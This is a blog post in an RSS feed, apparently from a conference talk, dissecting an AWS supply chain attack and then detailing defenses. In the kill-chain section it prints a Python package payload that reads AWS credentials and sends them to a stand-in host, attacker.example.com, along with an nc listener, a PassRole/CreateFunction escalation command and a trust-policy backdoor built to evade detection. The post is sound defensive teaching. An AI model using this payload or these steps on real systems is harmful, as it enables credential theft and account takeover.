<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Lambda on Café Com Cloud</title><link>https://blog.cafecomcloud.com.br/tags/lambda/</link><description>Recent content in Lambda on Café Com Cloud</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Mon, 29 Jun 2026 09:00:00 -0300</lastBuildDate><atom:link href="https://blog.cafecomcloud.com.br/tags/lambda/index.xml" rel="self" type="application/rss+xml"/><item><title>From pip install to Root: anatomy of an AWS supply chain attack</title><link>https://blog.cafecomcloud.com.br/2026/06/29/de-pip-install-a-root/</link><pubDate>Mon, 29 Jun 2026 09:00:00 -0300</pubDate><guid>https://blog.cafecomcloud.com.br/2026/06/29/de-pip-install-a-root/</guid><description>&lt;p&gt;The scene is familiar: you add a dependency to the &lt;code&gt;requirements.txt&lt;/code&gt; of your CI/CD pipeline, run &lt;code&gt;pip install&lt;/code&gt;, and the installer terminates without warnings, with all dependencies resolved. Five minutes later someone on the internet is authenticated to your AWS account, has deployed a Lambda with administrative permissions and dumped your customer PII table, and you did not run anything else in that interval beyond that single &lt;code&gt;pip install&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I demoed exactly that live at AWS Community Day Brasil 2026 on Saturday, June 27. The event was excellent, very well organized, and I was happy to see so many people wanting to learn AWS. This post is the step-by-step of the attack and the step-by-step of the defense.&lt;/p&gt;
&lt;h2 id="why-this-matters"&gt;Why this matters
&lt;/h2&gt;&lt;p&gt;Supply chain attacks have grown year over year as tracked by industry reports, and the LiteLLM incident in March 2026 is a recent public example that illustrates the pattern: the &lt;code&gt;litellm&lt;/code&gt; PyPI package was compromised for an approximately five-hour window, with a credential stealer published in two malicious versions (&lt;code&gt;1.82.7&lt;/code&gt; and &lt;code&gt;1.82.8&lt;/code&gt;) that executed at the moment of &lt;code&gt;import litellm&lt;/code&gt;, leaking AWS keys, SSH keys, and orchestration tokens to attacker-controlled infrastructure across every environment that ran &lt;code&gt;pip install litellm&lt;/code&gt; during the window without version pinning. LiteLLM itself published a disclosure of the incident at &lt;code&gt;docs.litellm.ai/blog/security-update-march-2026&lt;/code&gt; with documented IoCs and a confirmed compromise window.&lt;/p&gt;
&lt;p&gt;The detail that tends to get missed in this category of attack is that the target is CI/CD identities specifically, not the application credentials in production. CI/CD is where the most privileged identities live, because deploy pipelines need to create Lambdas, update policies, and do PassRole for a wide range of roles, which gives those identities broader IAM access than any production application. At the same time, those same pipelines routinely execute third-party code (PyPI packages, npm packages) as part of the build, creating the exact attack surface: high privilege combined with unaudited code execution.&lt;/p&gt;
&lt;p&gt;The IAM role that processes your deploy probably has &lt;code&gt;iam:PassRole&lt;/code&gt; on &lt;code&gt;Resource: *&lt;/code&gt; and &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt;, because the alternative of mapping every specific PassRole that some future deploy might need is tedious and rarely done correctly in mature pipelines. If a malicious package gets to execute inside that role, it inherits those permissions and uses them against you, which means you just gave root to someone who never interacted with your infrastructure directly.&lt;/p&gt;
&lt;p&gt;The difference from other types of breach is that here you were not hacked by an external attacker who discovered a vulnerability in your application. You voluntarily installed your own compromise, with &lt;code&gt;pip install&lt;/code&gt;, running the exact same command that will run a hundred more times in the coming months without ever triggering a single review.&lt;/p&gt;
&lt;h2 id="the-kill-chain-live"&gt;The kill chain, live
&lt;/h2&gt;&lt;p&gt;On the demo I ran the full chain in three color-coded terminals side by side: victim in green, attacker in red, defender in cyan. The eight steps below follow the chronological order of execution, with the technical detail of what happens at each one.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Victim installs a package.&lt;/strong&gt; The package called &lt;code&gt;aws_lambda_utils_helpers&lt;/code&gt; looks like a utility helper for Lambda functions, with a name plausible enough to slip past a dependency code review:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pip install aws_lambda_utils_helpers
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;The installation completes without warnings, signature-based package scanners do not detect anything because the package is new enough to not have been cataloged yet, and the &lt;code&gt;setup.py&lt;/code&gt; contains nothing visibly malicious to anyone doing a quick inspection.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. The code imports the module.&lt;/strong&gt; When the application runs &lt;code&gt;from lambda_helpers import format_response&lt;/code&gt; during actual execution (in a Lambda, in an ECS container, or in the CI/CD runner), Python executes the &lt;code&gt;__init__.py&lt;/code&gt; of the package before returning the imported module, and this is the moment when the payload is executed, not during the original &lt;code&gt;pip install&lt;/code&gt;, which only copies files to the filesystem without invoking any application code.&lt;/p&gt;
&lt;p&gt;The content of the &lt;code&gt;__init__.py&lt;/code&gt; in a simplified version for this post:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;json&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;threading&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_exfil&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;creds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;AWS_ACCESS_KEY_ID&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;secret&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;AWS_SECRET_ACCESS_KEY&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;token&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;AWS_SESSION_TOKEN&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;attacker.example.com&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4444&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;creds&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;threading&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Thread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;_exfil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;daemon&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;The choice of a daemon thread is deliberate, because the main process continues normally, the application responds with the expected latency, and no observable effect shows up in the Lambda logs, while the credentials leak in parallel over raw TCP to the endpoint controlled by the attacker.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. The environment variables are already there.&lt;/strong&gt; In every Lambda, every ECS container, every CI/CD deploy runner, the STS credentials are exposed as environment variables because it is the standard way the AWS SDK and CLI consume credentials in those contexts. The malicious package only needs to read &lt;code&gt;os.environ&lt;/code&gt;, with no need to exploit any vulnerability in the host nor to escalate privilege at the operating system level, because the credentials are delivered by the runtime in exactly the format the exfiltration code needs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Attacker validates what was received.&lt;/strong&gt; On the attacker side, a &lt;code&gt;nc -l 4444&lt;/code&gt; captures the JSON arriving over the socket, and the first reflex is to run &lt;code&gt;aws sts get-caller-identity&lt;/code&gt; with the captured credentials, confirming that the session is authenticated as &lt;code&gt;cicd-deploy-role&lt;/code&gt; and validating that the STS token is still active within its one-hour TTL before proceeding.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Reconnaissance.&lt;/strong&gt; The attacker runs enumeration to map what this identity can do: which Lambda functions already exist, which roles have administrative permissions, and which of those roles trust &lt;code&gt;lambda.amazonaws.com&lt;/code&gt; in the trust policy and therefore can be executed via Lambda. A very common pattern in production accounts is the existence of at least one legacy role with AdministratorAccess that trusts Lambda, typically created for some old project or at a moment when someone needed to debug something &amp;ldquo;quickly&amp;rdquo; and never had the role removed afterwards. I will call that role &lt;code&gt;data-pipeline-role&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. PassRole + CreateFunction = admin.&lt;/strong&gt; The CI/CD identity has &lt;code&gt;iam:PassRole on *&lt;/code&gt; because deploy pipelines need to do PassRole for varied Lambdas, and has &lt;code&gt;lambda:CreateFunction&lt;/code&gt; for the same reason. The attacker combines the two in a single call that creates a new Lambda passing &lt;code&gt;data-pipeline-role&lt;/code&gt; as the execution role:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws lambda create-function &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --function-name exfil &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --role arn:aws:iam::123456789012:role/data-pipeline-role &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --runtime python3.12 &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --handler index.handler &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; --zip-file fileb://payload.zip
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;The Lambda now executes as &lt;code&gt;data-pipeline-role&lt;/code&gt;, which carries AdministratorAccess via the Lambda trust policy, and invoking the function fires the attacker&amp;rsquo;s payload with full permissions in the AWS account. Less than 30 seconds after the malicious import, the attacker has the operational equivalent of admin in the account.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7. Smash and grab.&lt;/strong&gt; The Lambda payload scans the DynamoDB customer table and dumps the PII rows back to the attacker&amp;rsquo;s endpoint. On the Community Day demo I showed 8 records, but the same code works with 8 million, given that the Lambda pays for its own compute and the attacker does not use a single byte of his own account quota for the processing. Five minutes from the original &lt;code&gt;pip install&lt;/code&gt; to the PII rows leaving your AWS account through the exfiltration socket.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;8. Persistence.&lt;/strong&gt; The attacker knows the CI/CD STS credentials have a one-hour TTL and will be lost soon to natural token rotation, so while the CI/CD credentials are still active (those credentials carry &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt; in the policy, the exact permission that step 6 did not get to use), the trust policy of &lt;code&gt;data-pipeline-role&lt;/code&gt; is edited to trust a role the attacker controls, which can be a role in another account or, in the more sophisticated pattern, a same-account role with a specific &lt;code&gt;sts:ExternalId&lt;/code&gt; condition. When the original credentials expire through rotation, the backdoor stays planted, and the attacker can come back through the back door by assuming that backup role at any future moment.&lt;/p&gt;
&lt;p&gt;The choice of same-account with ExternalId condition is deliberate to avoid detection, because &amp;ldquo;external trust&amp;rdquo; detectors like AWS Access Analyzer fire alerts when a role starts to trust a principal from another account or &lt;code&gt;*&lt;/code&gt;, but same-account trust with a specific Principal and ExternalId condition slips past the heuristics those scanners use. You see no alert on the console, the security team gets no automated ticket, and the persistence sits planted, waiting for the attacker to come back whenever convenient.&lt;/p&gt;
&lt;h2 id="three-layers-of-defense"&gt;Three layers of defense
&lt;/h2&gt;&lt;p&gt;None of the layers below blocks 100% of attacks by itself, but implemented together they block roughly 90% of attacks following this specific pattern. I list them in the order of the earliest in the kill chain to the latest, because the defense ROI drops as you delay detection further into the chain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Layer 1: supply chain hygiene.&lt;/strong&gt; The attack only works if the malicious package enters your build, so the first layer controls exactly what gets in:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cooldowns on new packages&lt;/strong&gt;, with versions published less than N days ago (I use 7 as a default) blocked at your internal package proxy (Nexus, Artifactory, or AWS CodeArtifact), because attackers need the package to be installed quickly after the compromise to capture as many credentials as possible before PyPI removes the package from the registry. A one-week cooldown defeats the window of opportunity for these attacks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Strict version pinning&lt;/strong&gt;, with &lt;code&gt;aws_lambda_utils_helpers==1.2.3&lt;/code&gt; instead of &lt;code&gt;aws_lambda_utils_helpers&amp;gt;=1.2.0&lt;/code&gt;, combined with hash check in &lt;code&gt;requirements.txt&lt;/code&gt; or the equivalent in your package manager (Poetry lock, package-lock.json, and so on), so that today&amp;rsquo;s build consumes exactly the same package that yesterday&amp;rsquo;s build did, rather than silently accepting a new version published in between.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audit of recent imports&lt;/strong&gt;, which is not a review of what has been in &lt;code&gt;requirements.txt&lt;/code&gt; for years (the historical catalog), but a review of what entered &lt;code&gt;requirements.txt&lt;/code&gt; last week, who added it, and why. Most of the risk concentrates in new imports, not in older imports that already passed through multiple builds and multiple eyes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Layer 2: identity hardening.&lt;/strong&gt; If the malicious package is already running inside your Lambda or CI container, the defense has to be IAM, focused on two specific changes in the CI/CD identity policy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Scope &lt;code&gt;iam:PassRole&lt;/code&gt;&lt;/strong&gt; to a closed set of safe roles instead of &lt;code&gt;Resource: *&lt;/code&gt;, ideally a single role (&lt;code&gt;cicd-lambda-safe-role&lt;/code&gt;) that carries only the minimum permissions necessary for application Lambda execution. With PassRole scoped this way, &lt;code&gt;data-pipeline-role&lt;/code&gt; (which has AdministratorAccess via legacy) simply is not in the set of roles the attacker can pass to a new Lambda function, and the escalation to admin fails with &lt;code&gt;AccessDenied&lt;/code&gt; at the moment of &lt;code&gt;CreateFunction&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remove &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt;&lt;/strong&gt; from the CI/CD policy, because legitimate pipelines almost never need to modify trust policies on existing roles. They create new roles, yes, but modifying the trust of a role that already exists is a rare and suspicious operation by default, and when you remove that permission the persistence via trust policy backdoor breaks at step 8 of the chain.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These two changes in the CI/CD policy JSON break the entire kill chain from step 4 onwards: scoped PassRole blocks the escalation to admin at the moment of creating the exfiltrator Lambda, and removed UpdateAssumeRolePolicy blocks the backdoor persistence. The attacker can still run the initial credential exfiltration (steps 1 to 4 of the chain), but loses the ability to turn that into full account compromise.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Layer 3: runtime detection.&lt;/strong&gt; Even with the two previous layers in place, you should not trust that the policy is written perfectly, and therefore you monitor the actual execution:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CloudTrail with Athena&lt;/strong&gt; (or the equivalent in your observability stack) with an alert on &lt;code&gt;CreateFunction&lt;/code&gt; or &lt;code&gt;UpdateFunctionConfiguration&lt;/code&gt; called by a CI/CD identity in production outside the expected deploy window. In a healthy account these events have low frequency and a predictable temporal profile, so any call outside that profile has high signal and merits immediate investigation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alert on &lt;code&gt;UpdateAssumeRolePolicy&lt;/code&gt;&lt;/strong&gt; without exception. This event is extremely rare in a well-operated production account, and any occurrence merits an immediate human look even when it comes from a known identity, because it is exactly the event that signals an attempt at trust policy backdoor persistence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network egress monitoring&lt;/strong&gt; at the Lambda Functions and ECS tasks level, because raw TCP connections going out to non-AWS IPs are suspicious by default. Tools like AWS Network Firewall or DPI tooling at the VPC level let you alert or block this pattern before the credentials actually leave the perimeter.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="have-you-already-been-compromised"&gt;Have you already been compromised?
&lt;/h2&gt;&lt;p&gt;If you are reading this and suspect you may have been affected by a similar attack in the past months, three immediate queries to run on CloudTrail before going further: (1) &lt;code&gt;iam:CreateFunction&lt;/code&gt; or &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt; calls coming from your CI/CD identity outside the expected deploy window in the last 90 days, (2) recent &lt;code&gt;sts:AssumeRole&lt;/code&gt; events coming from IPs outside known AWS ranges, and (3) modifications to the trust policies of roles that carry administrative permissions. Any one of those three signals is reason to alert the security team and rotate credentials before doing anything else.&lt;/p&gt;
&lt;h2 id="three-actions-for-monday"&gt;Three actions for Monday
&lt;/h2&gt;&lt;p&gt;You finished reading the post, and the post only has real value if you do something concrete with it. Here are three actions you can execute on Monday morning:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. List the roles with &lt;code&gt;iam:PassRole&lt;/code&gt; and &lt;code&gt;Resource: *&lt;/code&gt;&lt;/strong&gt; using your preferred tool (AWS CLI, Steampipe, CloudQuery, Access Analyzer, or whatever your organization standardized for IAM inventory). You will probably find that more than one role has this permission open this widely, and the recommendation is to start with CI/CD identities because those are the ones that most expose you to the attack pattern described in this post.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. List the roles with &lt;code&gt;iam:UpdateAssumeRolePolicy&lt;/code&gt;&lt;/strong&gt; with the same tool, and for each one of them ask the direct question: does this role really need that permission in production, or was it granted at some moment by convenience and never reassessed afterwards? The correct answer for almost all of them is &amp;ldquo;does not need it&amp;rdquo;, and the corresponding action is to remove the permission.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Audit the packages that entered your &lt;code&gt;requirements.txt&lt;/code&gt; or &lt;code&gt;package.json&lt;/code&gt; in the last 30 days&lt;/strong&gt;, and for each new package answer: when was it published? By which author? Does the author have other publications before this one? Does the package have prior historical versions, or is it a single recent version with no release history? Packages that match the profile of &amp;ldquo;single, recent version, author with no history&amp;rdquo; merit careful manual investigation before you approve the next build with them included in requirements.&lt;/p&gt;
&lt;p&gt;The total work amounts to around three hours, considering you spend one hour on each action above. Cost: three hours of engineering time. Protection: 90%+ of supply chain attacks in the format described in this post, blocked structurally. It is probably the best security ROI you can produce this month with the engineering time available in your calendar.&lt;/p&gt;
&lt;h2 id="slides-and-demo"&gt;Slides and demo
&lt;/h2&gt;&lt;p&gt;The full presentation with the 11 slides and the live demo of the three terminals is available as a navigable deck: &lt;a class="link" href="https://blog.cafecomcloud.com.br/decks/de-pip-install-a-root/" &gt;Full presentation deck&lt;/a&gt;. Use the keyboard arrows to navigate between slides, and the &lt;code&gt;F&lt;/code&gt; key for fullscreen.&lt;/p&gt;
&lt;p&gt;See you around,
Leo&lt;/p&gt;</description></item></channel></rss>